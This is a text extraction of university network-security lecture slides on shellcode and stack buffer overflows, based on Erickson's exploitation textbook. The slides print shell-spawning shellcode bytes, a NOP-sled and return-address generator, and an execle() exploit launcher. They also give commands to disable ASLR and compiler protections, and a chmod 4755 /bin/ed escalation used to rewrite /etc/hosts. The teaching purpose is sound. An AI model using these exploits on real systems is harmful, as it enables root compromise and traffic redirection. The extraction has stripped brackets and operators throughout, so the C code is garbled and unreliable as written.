Title: Shellcode
1Shellcode
- Georgia Tech ECE6612
- Computer Network Security
Reference "Hacking the Art of Exploitation,"
Jon Erickson, 2nd ed., ISBN-13 978-1-59327-144-2
Reviewed by John Copeland 3/30/14
2A computer is exploited ("hacked") if an
unauthorized person gains access to the
computer's data and computing resources. This
can be done by 1. discovering a valid username
and password (e.g., guessing or social
engineering), 2. injecting crafted data into a
vulnerable program to make it do things it should
not do (e.g., SQL injection to extract private
data, or cause a "buffer overflow" to alter
data), 3. injecting "shell code" into the
computer memory, and then getting the computer to
execute that code. These slides will demo and
discuss the second and third techniques 1.
What is "shellcode". 2. How can it be
injected. 3. How can it be run.
2
3These slides will build up a foundation for
further study using the book "Hacking, the Art of
Exploitation," ed.2, by Jon Erickson. Once
techniques are known, defenses are incorporated.
The hacker community then develops new
techniques, and the cycle repeats. The book
discusses the technological basis for past
exploits, and details several cycles of hackers
versus operating system developers. Neither the
book nor these slides show specific techniques
that can be used against current, updated
operating systems. It does show how to construct
a program for testing another program's
susceptibility for buffer overflows, illustrating
how hackers continually find new
vulnerabilities. "Honey Pots" are computers set
up to attract attacks so that the newest exploit
code can be studied. The best code today uses
sophisticated encryption and obfuscation
techniques to prevent disassembly. Observing the
network activity of an infected computer often
does provide valuable information, especially if
the covert channel techniques being used can be
discovered.
www.nostarchpress.com
3
4Vulnerabilities Fixed in two versions on
SeaMonkey Browser (Firefox with Editing) Fixed in
SeaMonkey 2.0.12 MFSA 2011-10 CSRF risk with
plugins and 307 redirects MFSA 2011-08
ParanoidFragmentSink allows javascript URLs in
chrome docs MFSA 2011-07 Memory corruption during
text run construction (Windows) MFSA 2011-06
Use-after-free error using Web Workers MFSA
2011-05 Buffer overflow in JavaScript atom
map MFSA 2011-04 Buffer overflow in JavaScript
upvarMap MFSA 2011-03 Use-after-free error in
JSON.stringify MFSA 2011-02 Recursive eval call
causes confirm dialogs to evaluate to true MFSA
2011-01 Miscellaneous memory safety hazards
(rv1.9.2.14/ 1.9.1.17) Fixed in SeaMonkey
2.0.11 MFSA 2010-84 XSS hazard in multiple
character encodings MFSA 2010-83 Location bar SSL
spoofing using network error page MFSA 2010-82
Incomplete fix for CVE-2010-0179 see
http//cve.mitre.org/cve/ MFSA 2010-81 Integer
overflow vulnerability in NewIdArray MFSA 2010-80
Use-after-free error with nsDOMAttribute
MutationObserver MFSA 2010-79 Java security
bypass from LiveConnect loaded via data URL
refresh MFSA 2010-78 Add support for OTS font
sanitizer MFSA 2010-77 Crash and remote code
execution using HTML tags inside a XUL tree MFSA
2010-76 Chrome privilege escalation with
window.open and ltisindexgt element MFSA 2010-75
Buffer overflow while line breaking after
document.write with long string MFSA 2010-74
Miscellaneous memory safety hazards (rv1.9.2.13/
1.9.1.16)
4
5The C Programming Language by Brian W. Kerningham
and Dennis M. Ritchie
Developed along with UNIX in 1975 at Bell Labs,
Murray Hill, NJ
include lttime.hgt include ltstdio.hgt include
ltstring.hgt include ltstdlib.hgt include
ltsys/types.hgt include ltsys/stat.hgt char
progid80 "square_it.c by John Copeland
4/1/2011" int do_square( int x) // "x"
here is a local variable, stored in a different
// location (on the
stack) from the "x" in main x x x
return( x ) int main(int argc, char argv
) int x, y // modern replace "int"
with "int32_t" char buf100
printf("\ns\n", progid ) while(1)
printf("\n Type number (q quit) ")
gets( buf ) if( buf0 'q' )
break x atoi( buf ) y
do_square( x ) printf(" The square
of d is d\n", x, y ) return( 0 )
gcc -W all -o square_it square_it.c
copeland ./square_it square_it.c by John
Copeland 4/1/2011 warning this program uses
gets(), which is unsafe. Type number (q quit)
2 The square of 2 is 4 Type number (q
quit) 3 The square of 3 is 9 Type
number (q quit) q
Prentice Hall ed 2 (1988), ISBN-10
0131103628,ISBN-13 978-0131103627, 48 Handy
reference http//www.acm.uiuc.edu/webmonkeys/book
/c_guide/ (dated 1997 )
5
6Integer and Character Declarations
Old-Style Length in Bits
CPU Type Variable Type DEC PDP-11 Honeywell 6000 IBM 370 Interdata 8/32 32-bit Intel PC, IA32
char 8 9 8 8 8
short int 16 36 16 16 16
int 16 36 32 32 32
long int 32 36 32 32 32
long long int 32 36 32 32 64
float (double/2) 64 36 32 64 32
// modern style "int x " can be replaced by
"int32_t x " include ltstdint.hgt
int32_t x uint8_t c
6
7C without memory pointers, is no C at all
int64_t X, P, A10 // int64_t replaces
"long long" char S100 //
string up to 99 chars, S99 must 0 (null)
Kept in Symbol Table
In Executable Program
Name Type of Variable Memory Allocated (bytes)
X 8-byte integer 200-207, is the value of X
P 4-byte pointer to 8-byte integer 210-213, for memory-address
A 4-byte pointer to 8-byte integer 20-99, for 10 8-byte integers
S 4-byte pointer to 1-byte character 100-199 for 100 1-byte characters (integers)
Equivalents X and ( X ) -also- S10
and (S10) after P X X and P and
P0 and (P 0 ) "" means "address of _",
means "value pointed to by _"
7
8How Programs are Stored in Memory, and subroutine
arguments are put on stack.
Stack Frame
Process Memory
Lowest Address
Return-Value Pointer Local Variables (e.g.)
char buffer10 int flag Saved Frame
Pointer Return Instruction Ptr Subroutine
Input Arguments (passed by value)
Text or Code Segment Data Segment BSS Segment
(data) Heap Segment (grows toward higher
addresses)
Created by a subroutine or function call ---gt
Stack Segment (grows toward lower addresses)
Highest Address
Modify this address to point at shell code,
then return (set program counter) to this
address when done.
Erickson pp. 69-75
8
9Subroutine Calls
Program Counter PC or EIP
Stack
Text (Code) Segment
Data or BSS Segment
main( )
Buffer, flags
x 2
y do_square( x )
10000 -gt
Return Value Ptr
y _ -gt 4
10008 -gt
printf( )
Augment x 2 -gt 4
Saved Frame Pointer
PC return 10008
Input Augment 2
square_it( )
Stack Frame
x x x
40000 -gt
return( x )
40008 -gt
A subroutine call adds memory locations to the
top of the stack, to hold all the local variables
and the return value for the Program Counter (and
Stack Pointer).
9
10Strings in C
A string is an array of characters, terminated by
a null byte ('\0'). C does not store the length,
or maximum length, of a string. Frequent coding
error forgetting that S below can only hold 9
characters.
char S10, c'a', T "predefined", A3
"yes","no","?",P
Memory 0000000000apredefined0yes0no00?000PPPP
//each char is a byte Program Line
printf("Results c.s.\n", c, T )
Results a.predefined. Program Line gets(
S ) //input from keyboard, note S is a char
ptr User types "c.abcdefghijI GOT YOU !"
// gt 10 characters Memory abcdefghijI GOT YOU
! yes0no00?000PPPP //each char is a byte Program
Line printf("Results c.s.\n", c,T )
Results I. GOT YOU ! . Cure fgets( S, 9,
stdin) // limits input string to 9 characters
We can see that a buffer overflow will mess up
data, but how do we 1) put executable code in a
string, and 2) execute it?
10
Erickson pp. 5-114
11Stack Buffer-Overflow
// authenticate_me.c should grant access to
only "john" or "cope" include ltstdio.hgt include
ltstring.hgt include ltstdlib.hgt int check_auth(
char password) char pw_buffer16 int
auth_flag 0 strcpy(pw_buffer, password )
// string copy if(strcmp( password_buffer,
"john" ) 0 ) // string compare auth_flag
1 if(strcmp( pw_buffer, "cope" ) 0 ) //
string compare auth_flag 1 return(
auth_flag ) int main( int argc, char
argv ) if( check_auth( argv 1 ) //
if return-augument ! 0 printf("
Access Granted ") // for "john" or "cope"
else printf(" Access Denied
") // anything else return( 0 )
11
Erickson p. 122
12Testing "Authenticate_Me"
./authenticate_me john Access Granted
./authenticate_me cope Access
Granted ./authenticate_me nobody
Access Denied ./authenticate_me
xxxxxxxxxxxxxxxx Access Granted
./authenticate_me xxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation
fault
Overwriting "auth_flag"
Overwriting PC return value in the
preceding stack frame.
Hackers use programs that automatically try all
lengths of input to find a length that does what
they want.
12
13Shellcode
"Shellcode" is binary code that will execute
without being processed by a "Loader". 1. Must
make kernel system calls directly (no standard
lib.s) 2. Must use absolute or relative jumps
(no relocatable jumps) 3. Must be written using
assembly language, and with a limited set of
commands (e.g., no labels). Development can be
helped by looking at assembly code generated by
the C compiler, using the gdb debugger. The
original shell code (shown later) starts a shell
(e.g., /bin/sh) running so that a command prompt
is available. If the vulnerable program is a SUID
program (e.g., passwd), then the shell user is
"root." Now "shell code" has come to include any
similar code with other functions (e.g.,
installing a back door).
Erickson pp. 281-318
13
14Hooking Code
Program Counter (PC or EIP)
Stack
Text (Code) Segment
SP -gt
main( )
buffer (unused)
y do_square( x )
10000 -gt
Return Value 4
10008 -gt
printf( )
Augment x 2 -gt 4
Saved Frame Pointer
do_square( )
PC return 80000
Input Augment 2
x x x
40000 -gt
return( x )
40008 -gt
Later PC Return
Previous Stack Frame
Shellcode
Exploit code that installs shellcode must Get
the PC return value from the Stack for the final
"jump" state (or let it crash later). Know
where the shellcode has been written in memory,
to reset the PC return. The shellcode can reset
the stack based on the current SP and SFP values.
starting instruction
80000 -gt
more instructions
jump 10008
14
15Putting Binary Shellcode into a String, on
Command Line
// type_shellcode.c // compile gcc
type_shellcode.c -o type_shellcode // output to
stdout a (4 x argv1)-byte sled, shell code, and
then argv2 // start addresses argv3-6
./type_shellcode 10 20 191 255 248 92 //
40-byte sled,
shellcode, 20 times 0xbffff85c include
ltstdio.hgt include ltstdlib.hgt include
ltstring.hgt include ltsys/stat.hgt char
shellcode "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\x
a4\xcd\x80" "\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89" "\xe3\x51\x89\xe2\x53\x
89\xe1\xcd\x80" // 36 bytes \x00 int
main(int argc, char argv ) int i , n
char c4 n 4 atoi( argv 1 ) //
n 10 for(i 0 i lt n i)
printf("c",'\x90')// build sled of
NOPs printf("s", shellcode )
c0atoi(argv3) c1atoi(argv4) //
191 255 hex bf ff c2atoi(argv5)
c3atoi(argv6) // 248 92 hex f8 5c n
atoi( argv 2 ) // n 20 for(i
0 i lt n i) printf("cccc",
c0,c1,c2,c3) // start addresses
return( 0 ) Usage gt ./authenticate_me
(./type_shellcode 10 20 191 255 248 92 ) //
To run, you must use gdb to find the right value
of the starting address. // bash shell expands
( ./x ) to output of program ./x // This is for
a G4 CPU. For an Intel CPU, reverse the order of
address-byte integers.
Build sled - 10 nop's
Print shellcode Build block - 20 ret's
15
16To see where pw_buffer is stored, add a
line printf(" pw_buffer x
u\n", (unsigned int) pw_buffer, (unsigned int)
pw_buffer ) and comment out other printf()
lines ./authenticate_me john
pw_buffer bfe27540 3,219,289,408
./authenticate_me john pw_buffer
bfecb010 3,219,959,824 ./authenticate_me
john pw_buffer bfe35480
3,219,346560 ./authenticate_me john
pw_buffer bfe7b720 3,219,633952
./authenticate_me john pw_buffer
bff71840 3,220,641,856 ./authenticate_me
john pw_buffer bff96ad0
3,220,794,064 ./authenticate_me john
pw_buffer bffeaab0 3,221,138,096
Address space layout randomization (ALSR)
Stack Overflow Injection is now difficult because
the address of the stack frame varies over a
range of 2,000,000 bytes, each time the modified
program was run. It only needs to work once. By
automatically trying up to a million times, a
single hit is probable, and that can install a
back door to root. (see p. 384-391)
16
17Run a program with execle() to limit the
Environment. Put the shellcode into the only
Environment string, env0. The overflow string
(buffer) only has to have the starting address
(ret), repeated many times.
// execle_run.c include ltstdio.hgt include
ltstring.hgt include ltstdlib.hgt include
ltunistd.hgt include ltstdint.hgt int main(int
argc, char argv ) char env2
"\x31\xc0\x31 \xcd\x80", NULL //Must be
NULL uint_32 i, ret 0xbffffffa//address of
env0 in "authenticate_me" char buffer161
for(i0ilt160i4) ( (uint32_t)
(bufferi) ) ret // put in 4-byte address
buffer160 0 execle("./authenticate_me",
"authenticate_me", buffer, NULL, env ) return(
0 )
Erickson pp. 149-150 With today's (2011)
Linux, "ret" has to match a different value on
each run, even when execle() is used.
17
18Buffer overflows can be used to Alter data
later used in control statements. Input data
and control data on stack. Inject shellcode and
cause it to be executed. Basic problem
Input data and Program-Counter return values
are kept on the stack. PC can point to a
stack address. Other types of overflows Stack
segment overflow (p. 150) Function pointer
overflow (p. 156) Printf format
strings(p.171) Examine stack values Read
arbitrary values from memory Write arbitrary
values to memory
18
19Present day c compilers (gcc) and Linux are
designed to defeat most of the techniques
discussed in "Hacking, the Art of
Exploitation". For those of you who would like
to experiment with code that has vulnerabilities,
you can turn some of these protections off in the
OS, and in the gcc compiler to disable ASLR
(Address Space Layout Randomization) This
change is immediate on the running OS kernel
(run with root privileges). gt sudo echo 0 gt
/proc/sys/kernel/randomize_va_space To turn
off gcc protections when you compile your
program, use options -fno-stack-protector
this will disable canaries -fno-stack-protector-a
ll -fno-address-sanitizer Turn off
AddressSanitizer, a memory error
detector. -fno-memsafety -z execstack
this will disable executable stack
protection -fnomudflap this will disable
protections for risky pointer operations that may
be used in overflows - to not catch runtime
memory access errors. Example gcc compile gt
gcc g -fno-stack-protector -z execstack
Wall o program program.c -Wall shows all
warnings, always good to have, -g so you can use
gdb to show c code lines. Information provided
by Dr. Selcuk Uluagac, GT ECE
19
20Hackers will attack "suid" (super-user id) files,
because they act with root permissions. These
files should have the highest protection and
monitoring. To find them, use "find ltdirectorygt
-perm 04000 -ls"
find /sbin -perm 04000 -ls -r-sr-xr-x 1
root root 68864 Jun 17 2009 /sbin/mount_nfs -r-sr
-xr-x 1 root root 270 Nov 17 1911
/sbin/ping -r-sr-xr-x 1 root root 68720 Jun 17
2009 /sbin/route -r-sr-xr-x 1 root root 47440
Sep 1 2010 /sbin/umount find /usr/sbin -perm
04000 -ls -r-sr-xr-x 1 root root 192016 Jun
17 2009 /usr/sbin/netstat -r-sr-xr-x 1 root
root 535472 Jul 15 2009 /usr/sbin/pppd -r-sr-xr-x
1 root root 48240 Jun 17 2009
/usr/sbin/scselect -r-sr-xr-x 1 root root
64496 Jun 17 2009 /usr/sbin/traceroute -r-sr-xr-
x 1 _uucp root 449072 Sep 23 2007
/usr/sbin/uucico -r-sr-xr-x 1 _uucp root
201456 Sep 23 2007 /usr/sbin/uuxqt -r-sr-xr-x
1 root root 185232 Jul 15 2009 /usr/sbin/vpnd
20
21If you can execute only one bash command as root,
you can open permanent escalation to root. An
example
ls -l /bin/ed -rwxr-xr-x root root 114000 Jun
17 2009 /bin/ed Only owner (root) can write
ed /etc/hosts a 192.168.135.37
www.microsoft.com . w /etc/hosts Permission
denied Can not rewrite a file with root-only
w permission q sudo chmod 4755 /bin/ed
One command as root, unlocks the door!
ls -l /bin/ed -rwsr-xr-x root root 114000 Jun
17 2009 /bin/ed "s" means root privileges ed
/etc/hos a 192.168.135.37 www.microsoft.com .
w 2051 Root-only file was edited
and rewritten (2051 bytes)! q Result DNS
lookup of www.microsoft.com results in IP
192.168.135.37 - Any file can be edited.
21
22Networking, Chapter 4
Concise explanation of of sockets, protocol
stack, formats, Simple code for Server
program (p.204) Web Server program
(p.213) Network traffic sniffing (p.224) Source
code for Nemesis (arp spoofing, p.245) SYN
flood, Ping of Death, Ping Flood, TCP/IP
highjacking (p.258) Port scanning
(p.264) Pro-active defense (p.267) Port-binding
shellcode (p.278)
22
23Shellcode, Chapter 5
Using ASM to write assembly code (p.281) Linux
system calls (p.283) Investigating with gdb
(p.289) Removing null bytes (p.290) Shell-spawning
shellcode (the original, p.295) Port-binding
shellcode (for backdoors, p.303) Connect-back
shellcode (defeat firewalls, p.314)
23
24Counter Measures, Chapter 6
Counter measures that detect intrusion
(p.320) Log files (p.334) Rootkit techniques
(p.348) Socket reuse (p.355) Payload smuggling
(hiding signatures, p.359) Polymorphic Printable
ASCII shellcode (p.366) Non-executable stack
(available, not used, p.376) Randomized stack
space (seen earlier, p.379) Defeating above
(p.388)
24
25Cryptology, Chapter 7
Basics (p.393) Symmetric encryption
(p.398) Asymmetric encryption (p.400) Hybrid
Ciphers (man-in-the-middle attacks, p.406) SSH
attacks Password Cracking (p.418) Dictionary
attacks, Rainbow Tables Wireless 802.11b WiFi
encryption (p.436) WPA attacks - not covered
Conclusion, Chapter 8 (pp. 452-453)
25